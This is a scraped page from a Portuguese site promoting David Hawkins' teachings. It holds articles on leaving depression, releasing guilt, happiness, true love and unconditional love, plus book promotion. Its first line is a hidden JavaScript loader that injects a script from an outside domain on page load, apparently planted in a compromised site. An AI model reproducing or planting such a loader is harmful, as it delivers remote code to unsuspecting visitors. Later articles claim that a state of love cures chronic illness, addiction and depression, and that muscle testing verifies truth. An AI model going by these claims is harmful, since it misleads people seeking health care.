;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de felicidade - David Hawkins Brasil
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Níveis de Consciência

Como Sair da Depressão? – Parte 1

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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David Hawkins

Como Livrar-se da Culpa – Entrevista de Dr. David R. Hawkins

Livrar-se da culpa esse artigo foi originado a partir da transcrição do vídeo intitulado “Como se livrar da culpa”, originado a partir de uma Entrevista do Dr. David R. Hawkins concedida à sua esposa Susan J. Hawkins durante palestra realizada no Institute for Spiritual Research, uma organização sem fins lucrativos dedicada à pesquisa da consciência.

Como nos relacionamos com a culpa?

De que forma nos relacionamentos com a culpa? O que fazemos para nos livrarmos da culpa?

Neste vídeo o Dr. Hawkins, médico e PhD, explica sobre nossa relação com a culpa de uma maneira inusitada.

Sentir-se culpado por aquilo que foi feito é um ato narcisista e egoísta em que a imagem que o ser tem de si mesmo é a de ser o centro do universo onde tudo que acontece tem a ver consigo mesmo.

Livrar-se da culpa, uma lição de nossos grandes mestres

Essa característica egóica e de autocentramento, foi também citada por:

  • Buda, que nos ensinava para “esquecermos o nosso eu como sendo separado do Todo”
  • Jesus Cristo, quando dizia, por exemplo, “que atire a primeira pedra quem nunca pecou” ou “levanta, toma o teu leito e anda…e não peques mais para que coisas piores não lhe aconteçam”.

Jesus, Buda ou Krishna nunca nos disseram para nos sentirmos culpados ou para ficarmos pesarosos diante de nossos erros ou falhas passadas.

Eles sabiam que todo erro e pecado são devido a ignorância: ignorar a Verdade do Amor, acreditando que algo egoísta irá lhe trazer felicidade.

A Felicidade e a Paz do Éden

Ignorar a verdade do amor, esta é a história do Éden, no Gênesis bíblico: acreditar, por ignorância, que morder a maçã oferecida pela serpente será melhor do que a própria Paz do Éden.

E essa é uma das mais precisas representações de nossa mente no mundo material.

Toda vez que mordemos a maçã (acabamos praticando algo egoísta que promete prazeres de curto prazo sem nos importarmos com o longo prazo para nós mesmos e para os outros), saímos da paz do Éden (a serenidade do lado direito do cérebro) e caímos no sofrimento de Nod (a turbulência do lado esquerdo do cérebro).

E como fazer para voltar para o Éden?

Para voltar para o Éden, o caminho não é se culpar, na verdade isso nos afasta ainda mais do Éden (lembre-se que quando Adão e Eva sentiram vergonha, culpa e medo, eles foram “expulsos” do Éden).

O caminho de volta para o Éden é reconhecer aquele novo saber (de que aquela ação ou prática não traz a felicidade, mas sofrimento), se perdoar, pedir perdão e seguir em frente com uma nova consciência, “pagar o que tiver que pagar” e não praticar novamente aquele ato.

Pois, uma vez passado pela experiência e reconhecido o sofrimento, isso basta para não se repetir aquele caminho.

Isso é o que é chamado de sabedoria:

  • Deixar de ignorar a verdade através das experiências as quais você passa e não repeti-las mais na mesma intensidade.
  • Sempre buscar diminuir a intensidade daquela prática, se ela for um vício, ou não praticá-la mais, se for algo pontual.

Como livrar-se da culpa – Transcrição do Vídeo

Dr. David Hawkins: O budismo tende a identificar a culpa como um comportamento indulgente, egoísta e narcisista: “coitado de mim, isso é horrível! Como fui cometer esse erro? O que eu vou fazer a respeito disso?”

É tudo sobre si próprio, então a intenção de Buda era que você saísse dessa posição narcisista e indulgente.

Susan: Então, o melhor a fazer quando cometemos um erro é reconheçamos e seguir em frente?

Dr.David Hawkins: Isso é o que você deve se fazer.

E também, a princípio, existe um “eu” pessoal que fez isso. Conforme você vai se iluminando, vira apenas uma ilusão pensar que havia uma separação entre o “eu” pessoal que fez isso ou aquilo. Isso é tudo uma hipérbole, um exagero.

Bem, você estava dizendo que algumas coisas acontecem como resultado de uma emergência.

Existem campos de atração poderosos que dominam campos de atração mais fracos, que dominam outros campos de atração ainda mais fracos. Então, algo ainda pode escapar de todos eles facilmente e ainda explodir.

O animal que mora no lado esquerdo do nosso cérebro

Não se esqueça que nós temos o lado esquerdo e o lado direito do cérebro.

Se fosse para sermos anjos nesse reino, nós só deveríamos ter o lado direito do cérebro.

O lado esquerdo do cérebro é praticamente um animal e qualquer coisa que eu procuro perdoar a mim mesmo é quase sempre o animal quem causa.

É o animal quem quer ser o primeiro da fila, é o animal quem quer atenção, é o animal quem quer ter o seu território. É quase sempre o animal.

ser espiritual é apenas ignorante, digamos assim.

Mas, o ser humano, por si só, é o lado esquerdo do cérebro, o lado animal, que surge, o instinto animal, a amídala que domina.

Então, o superego reconhece através da culpa que o seu lado animal escapou de você.

Você deve se familiarizar com o seu animal, digamos assim, reconhecer que seu lado animal existe, e que apesar do seu lado animal te causar um monte de problemas, se não fosse por ele, você provavelmente não estaria vivo. (Risos)

Então, nós podemos nos familiarizar com o animal que existe dentro de nós, ao invés de negar que ele existe. E dizemos: “É claro que você quer ser o primeiro, é claro que você quer ser o macho alfa, a fêmea alfa, o mais rico do mundo, o líder do grupo, o mais dominante.

Livrar-se da culpa

Então, uma forma de se livrar de algo, de livrar-se da culpa é reconhecer esse algo e não se livrar disso, mas aceitar isso.

É reconhecer o animal, e dizer “OK”.

Você pode até dar um nome para o seu lado animal, por exemplo, “Perky” (Risos).

Pode dizer: “Ok Perky, estou te ouvindo. É claro que você quer vencer, é claro que você quer vencer a competição de beleza. É claro que você quer ser rico e famoso em Hollywood”.

É isso que domina o pensamento de milhões e milhões de pessoas.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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David Hawkins

A Felicidade Não Está Fora de Você – entrevista do Dr.David Hawkins

A Felicidade Não Está Fora de Você – Transcrição da Entrevista do Dr. David R. Hawkins concedida à sua esposa Susan J. Hawkins durante palestra realizada no Institute for Spiritual Research, uma organização sem fins lucrativos dedicada à pesquisa da consciência.

Onde está a felicidade?

Neste vídeo o Dr. Hawkins explica que nada do que queremos está lá fora.

Tudo que buscamos externo a nós é apenas uma tentativa inútil de nos preencher com Amor. Porém, o Amor verdadeiro só pode ser preenchido por nós mesmos, nosso Amor próprio.

Assim como Cristo conversa com Deus em João 17:26 (Evangelho) “Eu os fiz conhecer o teu nome, e continuarei a fazê-lo, a fim de que o amor que tens por mim esteja neles, e eu neles esteja“, o Amor próprio é fonte do Amor Divino, do nosso Deus Imanente, do Cristo dentro de cada um de nós.

Nada está lá fora, separado de nós.

Os desejos são apenas tentativas desesperadas de encontrar este amor, mas onde procuramos, não vamos o achar.

Apenas um aprofundamento no seu Eu interior, através de autoconhecimento, meditação, oração e jejum constantes é que nos encontraremos mais e mais com este Eu Maior que é Todo-Amor e diminuiremos cada vez mais os vícios de nosso eu menor que é todo-sofrimento.

A Felicidade Não Está fora de Você – Transcrição do Vídeo

Ative a legenda em português para uma melhor experiência.

Susan: Eu não sei. Eu vejo algumas pessoas e eu vejo que algumas delas querem tantas coisas.

Seus quereres são mais importantes do que seus ganhos: “eu tenho que ter aquele carro e eu tenho que ter…e então eu serei feliz. Então eu tenho que ter essa casa e aí eu serei feliz. E, então, eu tenho que ter uma piscina para a casa e então eu serei feliz.”

Mas aí, quando elas conseguem tudo isso, mesmo com essas mesmas coisas elas não ficam felizes.

E isso não é a felicidade.

Dr.Hawkins: Sim. Isso é porque as pessoas veem a felicidade como algo fora delas, que precisa ser conquistada. 

Felicidade – o valor das coisas são claramente projeções. Tudo e qualquer coisa por si só. Se você está morrendo de fome no meio do deserto, uma pedra de diamante não vai ajudar muito. (risos)

Então o desejo é chamado de glamour, a energia do glamour. É projetado nas coisas. Nós pensamos que a atratividade está lá fora.

Não existe atratividade lá fora. Toda atratividade está dentro de nós.

É porque você desejou aquilo, deu um valor para isso, que isso parece desejável e atraente para você.

Beterrabas em conserva parecem muito bom para você se você gosta de beterrabas em conserva. Se você não gosta, elas não te atraem.

Projeção de valor – a base do materialismo

Dr.Hawkins: Então a projeção do valor no mundo externo e, claro, essa é a base do materialismo e de toda a economia que é baseada em querer isso e querer aquilo e querer algo melhor. E, ainda, insinuar tais desejos.

Se você não quer algo, você é programado para querer esse algo…Melhores benefícios de enterro. (risos)

Susan: Melhores benefícios de enterro?

Dr.Hawkins: Sim, eles te vendem alguns! (risos). Funerais pré-pagos, eu quero dizer que isso deveria ser uma das últimas coisas a se preocupar. Caixões melhores, você sabe, tudo isso.

Não há nada além de programar as pessoas para querer isso.

Querer é a espinha dorsal da nossa economia, a base da nossa economia é querer isso e aquilo.

E que quando as pessoas param de querer as coisas, tudo para de funcionar.

Mas, quando você deixa ir o desejo físico, então você quer o emocional, você quer o espiritual, o que você está procurando, o mundo não pode prover.

Você está procurando o retorno do amor, um vislumbre do amor é tudo o que você realmente quer o dia inteiro.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Níveis de Consciência

O que é Amor Verdadeiro? – com base em Dr. David Hawkins

Ouvimos muito se falar de amor. Porém amor não é paixão e tampouco posse ou sofrimento. O amor verdadeiro é pureza, alegria e serenidade. Mas não é euforia e melancolia. O amor liberta. Aquilo que prende não pode ser considerado amor.

A pessoa no nível de consciência de amor entende que amor verdadeiro não se divide ou se subtrai.

Não tem como o amor por uma pessoa diminuir o amor pela outra. Ou perder amor por se estar longe.

Amor multiplica e soma. Quanto mais se ama, mais se é possível amar e mais se é amado.

Conecta-se à bondade como estilo de vida e não para ser reconhecido por atos pseudo-benevolentes ou de autossacrifício.

Consciência do Amor

A consciência do amor é a cura para os males do mundo.

A partir dela, o salto da fé transcende a ciência e tudo aquilo que é linear e lógico.

O amor não é uma emoção, e também não é razão, é um estado de Ser que está além do palpável e descritivo. É subjetivo, porém radicalmente autoevidente.

Amor é:

  • cura e também é fé,
  • presença e observação,
  • não-julgamento e não-resistência,
  • desapego e aceitação,
  • humildade e não-possuir,
  • bondade e generosidade,
  • perdão e misericórdia,

Amor é ainda

Ao mesmo tempo é gentil quando tem que ser e firme quando necessário. Amor complementa as energias ausentes no ambiente para que prevaleça o equilíbrio e harmonia. Isso é inverso de egoísmo.

É simplicidade, não de pobreza, de ausência, de escassez que vem do conceito material, mas de riqueza, de presença, de abundância advindo do espiritual.

O amor preenche o vazio que busca resultados, coisas e pessoas fora de si.

Não é mais necessário mostrar aos outros ou ser reconhecido. Amor convive pela vontade de compartilhar sua alegria e não pela necessidade de suprir sua carência.

Em amor, uma pessoa sabe, por experiência própria e indubitável, que em atos simples como o de virar um besouro que está de ponta cabeça para voltar a andar em graça, o universo inteiro reconhece e responde.

O retorno de uma ação benevolente vem por outras vias não-lineares.

Amor não tem ausência. Ausência é justamente falta de amor.

Em amor, nada falta, tudo que é necessário, nada mais e nada menos, se manifesta e acontece na sincronia perfeita do tempo exato.

Amor é simples. Não tem segredos. Porém, por sermos complexos, acabamos resistindo a esta Verdade. E então sofremos.

Para entender o que é amor, é necessário transcender a razão.

O que não é amor verdadeiro

Amor verdadeiro não é condicional. Condicionalidade é negociação, troca, paixão ou posse.

Paixão do latim significa sofrimento e posse vem do sânscrito dominar. Sofrimento e dominação não são amor, mas sim sua ausência.

Negociação e troca são conceitos usuais para o ser humano e devem ser cumpridos quando ambas as partes estão em acordo. Serão ainda mais poderosos se forem cumpridos com honra.

Honra é cumprir os acordos feitos entre si e o(s) outro(s) por amor. Honra é um aspecto do amor. Cumprir um acordo com irritação e indignação ou má-vontade, não é amor.

Amor verdadeiro também não é

Amor verdadeiro não é esperar que o outro mude. Isso é expectativa e expectativa gera frustração. E frustração não é amor, mas sim sua ausência. Amor é aceitar o outro como ele é sem esperar que ele mude. Amor é convidar e dar o seu melhor por aquele que quer mudar, sem criar expectativas que ele mude. Se for para ele mudar ele vai, se não, não vai, e isso não cabe a você.

Amor verdadeiro não é condescendência ou subserviência. Não é concordar ou patrocinar ações estúpidas ou destrutivas. Não é também ser bonzinho demais. Amor é severo e firme quando necessário, por amor e não por controle. Mas na maior parte do tempo é compreensivo e altruísta, generoso e gentil.

Amor verdadeiro não é ser meloso, grudento ou precisar ficar perto o tempo todo. Isso é baixa autoestima, carência, medo. Também é liberdade e preferência pela companhia, sem necessidade intrínseca, sem pressão no outro.

Amor também não é sempre falar sim, mas também saber falar não sem dó. Dó não é amor. Dó é tristeza por achar que alguém deveria ter mais do que tem. E se essa pessoa não tem mais do que tem é porque não é para ter.

O amor pode convidar essa pessoa a enxergar as possibilidades de trocar o ter pelo ser, e quando se é, se tem. Já o dó acredita que o outro não é capaz e supre a ilusão de vítima. Ninguém é vítima. Quem acredita que é vítima não pode conhecer o amor. E sempre será vítima.

Quando descolar desse papel, dessa máscara que se auto impôs por acreditar em falsas afirmações externas ou internas, essa pessoa conhecerá o que é o amor e, só então, entenderá que no amor não há espaço para vitimismo.

Aspectos do amor verdadeiro

O amor se engrandece na beleza. A busca de encontrar o belo por trás daquilo que julgamos erroneamente como feio, desequilibrado, incompleto, errado, problemático.

É preciso entender que a beleza é implícita a tudo que existe como é agora e não como virá a ser. Quando vir a ser, será uma beleza diferente porém igualmente perfeita.

Amor é a capacidade de entender que as coisas não partem da imperfeição para a perfeição e retornam para a imperfeição.

Uma semente é uma semente perfeita, que se torna um ramo perfeito, que vira um botão perfeito, que se transforma em uma rosa perfeita, e então em um flor murcha perfeita e um vegetal morto perfeito.

Tudo é perfeito na criação e evolução.

Gratidão

Outra característica importante do amor é a gratidão

Gratidão é um estado interno de Ser que identifica que tudo que temos e atraímos para nós é pró-evolução.

Se julgamos como bom, agradecemos por termos aquela oportunidade meritória, se julgamos como ruim, agradecemos por podermos aprender e nos fortalecermos com mais uma experiência.

Humor

O humor também é uma fase do amor.

Onde o externo não tem mais poder de abalar o humor interno. Apenas si mesmo pode mudar o seu humor.

O bom-humor está sempre presente seja em uma “discussão” necessária ou em uma apreciação em conjunto. O humor prevalece inabalado. Ainda não é permanente, mas se sobressai mais de 90% do tempo.

Felicidade

Amor também é sinônimo de felicidade. Quanto mais se ama e mais se mantém em amor, mais se é feliz.

Os estágios de amor mantém-se de 89% a 93% em estado de felicidade e serenidade no dia a dia. O que não significa inatividade ou condescendência, mas sim atividade alegre e determinação tranquila.

Felicidade é ausência de:

  • ansiedade,
  • angústia,
  • expectativa,
  • frustração,
  • irritação,
  • indignação,
  • inquietude,
  • rebeldia,
  • raiva,
  • tristeza,
  • medo,
  • insegurança,
  • inveja,
  • ciúme,
  • arrogância,
  • vaidade,
  • cobiça,
  • gula,
  • etc etc etc.

Autenticidade

O amor também pode ser visto como autenticidade. Autenticidade não é personalidade. Personalidade vem do latim persona que significa máscara.

Personalidade é uma máscara utilizada para ser aceito em círculos sociais, adaptando seu comportamento ao dos outros para que sua sobrevivência emocional seja atendida.

Autenticidade é ser quem é na essência sem a intenção de defender opiniões, ir contra ou adotar a crença dos outros. para se sentir reconhecido.

Amor verdadeiro é entender experiencialmente que o que é, É. Se fosse para ser diferente, seria.

Fortalecendo o amor verdadeiro

Para entendermos e compreendermos o que realmente é amor, é necessário experienciarmos. E, para experienciar, é importante trocar condenação por compreensão.

Para trocar condenação por compreensão é necessário ter contato com o conhecimento e transformá-lo em sabedoria.

Para adquirir sabedoria é preciso praticar. Praticando, experienciamos.

Abaixo seguem sete práticas para fortalecer o amor e enfraquecer a posse:

1. Ame a forma 

  • Faça práticas de autoaceitação no domínio da forma física
  • Olhe seu rosto no espelho e encontre a beleza por trás do que a sociedade aponta como imperfeição
  • Trate bem o seu corpo com alimentação na quantidade certa para aquele momento
  • Descanse e durma bem
  • Cheque sua saúde constantemente

2. Ame os prazeres 

  • Aproveite os momentos de prazer diminuindo euforia, algazarra, excessos e impulsos destrutivos como os causados pela inconsciência no consumo de bebidas, drogas ou outros entorpecentes
  • Não omita seus prazeres, mas também não os mime
  • Escassez e excesso são indicadores de ausência de amor
  • Equilíbrio e harmonia é amor
  • Divirta-se sem se prejudicar ou prejudicar os outros

3. Ame o trabalho 

  • Fazer é obrigação quando não há amor envolvido
  • Faça o que você decidiu fazer com amor. Com vontade. Dando o seu melhor
  • Se for fazer sem amor, melhor não fazer ou começar a buscar outras opções de trabalho ou atividades
  • Se o amor se desconectou da atividade, é melhor repensar
  • Porém, até que a mudança aconteça, se reconecte ao amor de dar o seu melhor como estilo de vida e não atrelado a algo ou alguém

4. Ame o próximo 

  • Busque aprofundar suas conexões pelos outros sem esperar nada em troca
  • Faça surpresas, dê presentes, ofereça ajuda sem esperar que o outro aceite
  • Sirva de maneira altruísta
  • Se não souber o que fazer, não faça, ouça, escute, emane cura e amor àquela pessoa necessitada
  • Troque dó por amor verdadeiro e convidativo, sem imposição ou coerção

5. Ame a si mesmo 

  • Busque florescer sua autenticidade
  • Se desconecte das máscaras sociais que têm adotado para se manter conectado com pessoas que não te aceitam do jeito que você é
  • Liberte-se internamente e a liberdade externa florescerá
  • Escute mais do que fala. Fale quando necessário
  • Não imponha ao outro e não exponha o outro
  • Concentre-se em assumir e corrigir seus defeitos de caráter se aceitando perfeito do jeito que É

6. Ame a vida

  • Busque se desapegar de seus conceitos, posicionamentos e julgamentos mentais
  • Abra mão de estar certo e escolha ser feliz
  • Deixe o mundo pensar como quiser
  • Aprecie e contemple o poder da vida e a beleza da morte
  • O antigo que abre espaço para o novo
  • A criação e evolução constante
  • Deixe de lado suas crenças e busque a Verdade maior sobre a menor que você enxerga agora
  • Faça da Verdade sua amiga e sua professora e não a enxergue como inimiga ou dedo-dura

7. Ame o Divino 

  • ‘Amai a Deus sobre todas as coisas’ não é o primeiro mandamento da bíblia a toa
  • Independente de qualquer religião ou dogma, ame algo maior que você mesmo
  • Ame a criação
  • Sirva o Universo ou o Cosmos, ou como preferir chamar
  • Desperte a união de si mesmo com o Todo
  • Seja misericordioso consigo e com os outros, porque ‘eles não sabem o que fazem’, como Jesus disse
  • Busque enxergar, aceitar e consertar suas falhas de caráter, pois ‘a ignorância é o único pecado’, como proferiu Buda
  • ‘Os atributos Divinos conduzem à libertação pelo autoconhecimento’, afirmou Krishna
  • Aceite que é ignorante sobre a sabedoria universal e invoque humildade a todo instante que se lembrar para entrar em um estado de ‘só sei que nada sei’ do sábio Sócrates
  • E então permita-se ‘ser a mudança que você quer ver no mundo’, como nos exemplificou Mahatma Gandhi.

Se conectando a esses autodesafios – diariamente, pouco a pouco, em uma progressão natural e sem se cobrar ou se pressionar – você começará a ver a mudança real aparecer e o sentimento de amor fluir cada vez mais até o momento onde você se permitir que ele jorre de si.

Se você se sentiu tocado por esse conteúdo e quiser compreender mais sobre como atingir o amor verdadeiro, você pode conhecer a Mentoria de Alta Performance.

Boa leitura e boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

O Poder do Amor Incondicional – com base em Dr. David Hawkins

O Amor Incondicional é a expressão da bondade, generosidade e misericórdia. Aquele que vive esta Graça de quase nada mais precisa, pois o próprio amor preenche qualquer vazio e necessidades ilusórias que buscam a felicidade fora.

Quando o amor se torna mais e mais incondicional, alcança um estado de pureza, alegria constante e discernimento preciso. Se poucas pessoas alcançam o nível de consciência de Razão e Amor, no nível de Amor Incondicional encontramos apenas 0,4% da população.

E o que é o nível do Amor Incondicional?

É o nível das curas físicas e emocionais, tais como os vícios.

A maior parte dos integrantes de boa parte dos grupos do AA chegam a este nível de consciência, por exemplo, onde cada participante busca amar o próximo de maneira incondicional e aceitar suas falhas de caráter em prol de suas curas.

Temos também grandes líderes conhecidos que alcançaram este estado de grande alegria interior:

Na política podemos encontrar:

  • Nelson Mandela 
  • Abraham Lincoln,

Como representantes espirituais alguns exemplos como:

  • A maioria dos Papas,
  • Dalai Lama,
  • Padre Pio,
  • Chico Xavier,
  • Chuang Tzu e
  • Paramahansa Yogananda

Na música popular Louis Armstrong, e na arte clássica artistas como Mozart e Michelangelo

Seres que buscam a beleza e o amor como prioridade acima de qualquer detalhe.

Como alcançar o nível do amor incondicional

Para se alcançar o nível de amor incondicional, o ser amoroso, que ama cada vez mais aqueles ao seu redor, deve se tornar amorosidade, ou seja, Ser amor independente de intervenções sociais.

Descobre-se que não é necessário ter alguém para amar se for possível sentir amor a todo momento.

Então amar os outros é apenas uma consequência de Ser amor. Quando se é amor, ama-se não somente outros, mas ama-se cada vez mais:

  • a si mesmo,
  • às situações,
  • às consciências negativas como:

Sabe-se que essas emoções são apenas impulsos animais naturais.

Ama-se incondicionalmente a tudo, sabendo que tudo é igualmente santo e sagrado perante o Todo. O amor a Deus se sobressai e se torna o princípio primário e indubitável.

‘Amai a Deus sobre todas as coisas’ e ‘amai o próximo como a ti mesmo’ é experiencial e natural na grande maioria dos – se não quase todos – momentos e situações.

Definindo o Ser

Simples bondade consigo mesmo e com tudo o que vive a todo momento, sem exceções, define o Ser em amor incondicional.

A alegria e radiância a cada situação vivenciada aumenta a todo momento para aquele que experimenta este nível e busca sua evolução constante.

O alinhamento da vontade pessoal à Vontade Divina se torna cada vez mais afinada e a simplicidade toma conta a cada dia, enquanto o potencial de realização se torna absurdamente poderoso.

Sutilezas desse estado

A busca pelo reconhecimento se torna cada vez mais sutil e na maior parte do tempo não se manifesta.

Tudo que é feito é entregue ao Divino.

Não há mais necessidades de louvores ou saudações, mas quando vêm são recebidas com gratidão e novamente rendidos seus méritos à Vida.

Expectativas são quase inexistentes e, ao mesmo tempo, tudo que é colocada uma intenção pura, tende a se manifestar de forma espontânea, simples, rápida, fácil e de maneira não linear ou lógica.

Troca-se esforço por entrega e há o deleite por se descobrir esta Realidade experiencial.

Quebra-se a crença de que tudo que vem fácil merece desconfiança ou que todo trabalho tem que ser árduo ou difícil. Aceita-se com gratidão e alegria os presentes da vida.

Ao mesmo tempo que possa parecer uma inocência, e é, ela vem com enorme dose de discernimento e sabedoria para separar aquilo que é do ego, apego emocional, e aquilo que é Divino, intuitivo.

Vivencia-se o estado de devoção, onde toda a Graça é recebida e processada.

O trabalho é realizado em prol do Bem Maior. O estado de compaixão se sobressai e então é possível entender a dor e sofrimento de todos os seres e radiar sua alegria para que eles possam se curar de suas angústias, apegos e resistências. 

Este também é o estado dos homens santos e do êxtase em viver.

Neste estado a Presença do Ser potencializa a cura de doenças físicas e emocionais tanto de si mesmo como daqueles que a buscam com fé e determinação.

Curas de doenças crônicas, alergias, vícios, depressões, pânicos, entre outras são dissolvidas de maneira quase que inexplicável. Explicável apenas por quem vivencia e sabe.

Como experienciar o estado de Amor Incondicional

1. Gratidão

  • O Ser deve se ancorar em agradecer a todos os momentos, tanto aqueles que trazem avidez (senso de prazer, bom, agradável) quanto aos que trazem aversão (julgamento de desprazer, ruim, desagradável). 
  • Os elogios devem ser entregues ao Divino como agradecimento por ter sido um canal ou testemunha. 
  • Pessoas que falam o que precisamos ouvir ou nos criticam, podem ser vistas como vozes Divinas e não como fontes de culpa ou diminuição da autoestima.

2. Humor

  • As dramatizações do ego precisam ser recontextualizadas para comédia leve.
  • Ao invés de viver o drama da vida do ego, assistir a si mesmo em um stand up comedy inocente e de censura livre
  • Nada de enxergar sarcasmo ou sadismo da vida, tudo é divertido e animado como em um desenho animado inocente e divertido. 
  • Um leve sorriso humilde de pano de fundo deve se revelar no surgimento de adversidades e situações inesperadas.

3. Desapego

  • É preciso entregar as limitações do amor condicional à incondicionalidade. Isso requer render o amor como um apego positivo pessoal para que ele possa se tornar uma forma de estar no mundo e não como uma emoção separada. 
  • O amor deve se tornar uma expressão da essência pela qual o amoroso se torna amorosidade. 
  • O amor como um modo de existência não requer “outros” como objetos de realização ou expressão. É uma qualidade independente, sem sujeito, objeto, verbo, adjetivo e, portanto, não-linear e ilimitado.

4. Não-julgamento

